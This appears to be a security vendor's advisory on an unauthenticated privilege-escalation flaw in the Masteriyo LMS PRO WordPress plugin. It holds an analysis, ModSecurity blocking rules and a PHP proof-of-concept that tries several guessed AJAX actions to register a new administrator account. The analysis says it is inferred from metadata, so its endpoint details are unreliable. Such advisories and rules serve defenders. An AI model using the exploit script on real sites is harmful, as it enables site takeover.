Atomic Edge analysis of CVE-2025-53209 (metadata-based): This vulnerability allows unauthenticated attackers to escalate privileges to administrator in Masteriyo LMS PRO plugin for WordPress, versions up to 2.20.0. The CVSS score of 9.8 (Critical) confirms remote, unauthenticated exploitation with no user interaction required.
The root cause, inferred from CWE-266 (Incorrect Privilege Assignment) and the description, is a missing or broken capability check in a privilege escalation function. The plugin likely registers a user with a low role (student, subscriber) but fails to verify or restrict the role parameter during registration or profile update. This could occur in a custom AJAX handler or REST API endpoint that handles user creation or metadata updates without checking nonces or current user capabilities. Atomic Edge analysis confirms this pattern is common in LMS plugins that allow front-end registration.
Exploitation requires sending an HTTP request to a vulnerable endpoint, likely /wp-admin/admin-ajax.php with action=masteriyo_create_user or similar, or a REST API route. The attacker includes parameters such as user_email, user_pass, and role=administrator. Since the plugin fails to restrict role assignment, the registration process assigns the administrator role. An unauthenticated attacker can create a new admin user or update an existing user’s role via an unprotected AJAX action.
The fix, likely implemented in version 2.20.1, must ensure that any user creation or profile update endpoint validates the current user’s capabilities before allowing role changes. The plugin should enforce that only users with ‘manage_options’ or ‘edit_users’ capability can assign administrator roles. Additionally, nonce verification should be added to prevent CSRF-based exploits.
Full impact includes complete site compromise: data theft, malware distribution, backdoor installation, and site defacement. The attacker gains full administrative control, enabling them to modify any content, install plugins/themes, create additional admin users, and execute arbitrary PHP code.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20253209,phase:2,deny,status:403,chain,msg:'CVE-2025-53209 - Masteriyo LMS PRO Privilege Escalation via AJAX',severity:'CRITICAL',tag:'CVE-2025-53209'"
SecRule ARGS_POST:action "@rx ^masteriyo_(create_user|register|add_user)$"
"chain"
SecRule ARGS_POST:role "@streq administrator"
"t:none"
SecRule REQUEST_URI "@rx ^/wp-json/masteriyo/v[0-9]+/users"
"id:20253210,phase:2,deny,status:403,chain,msg:'CVE-2025-53209 - Masteriyo LMS PRO Privilege Escalation via REST API',severity:'CRITICAL',tag:'CVE-2025-53209'"
SecRule ARGS:role "@streq administrator"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-53209 - Masteriyo LMS PRO <= 2.20.0 - Unauthenticated Privilege Escalation
// Assumptions:
// - Plugin uses an AJAX endpoint for user registration with customizable role
// - The default vulnerable action is 'masteriyo_create_user' (inferred from plugin slug)
// - Alternative action names could be 'lms_create_user', 'masteriyo_register', etc.
// - This PoC attempts the most likely endpoint and parameter variations
$target_url = 'http://example.com'; // CHANGE THIS to target WordPress URL
// Initialize cURL
$ch = curl_init();
// Craft the malicious registration payload
$post_data = array(
'action' => 'masteriyo_create_user',
'user_email' => 'admin_owned_' . time() . '@example.com',
'user_pass' => 'Pwned12345!',
'user_login' => 'admin_owned_' . time(),
'first_name' => 'Attacker',
'last_name' => 'Admin',
'role' => 'administrator'
);
// Send the request to the AJAX handler (admin-ajax.php)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response: $responsenn";
// If the AJAX action fails, try alternative action names
$alt_actions = array('masteriyo_register', 'lms_create_user', 'masteriyo_add_user', 'masteriyo_update_profile');
foreach ($alt_actions as $action_name) {
$post_data['action'] = $action_name;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Trying alternative action: $action_namen";
echo "HTTP Status: $http_coden";
echo "Response: $responsenn";
}
echo "If successful, login to wp-admin with the created credentials.n";
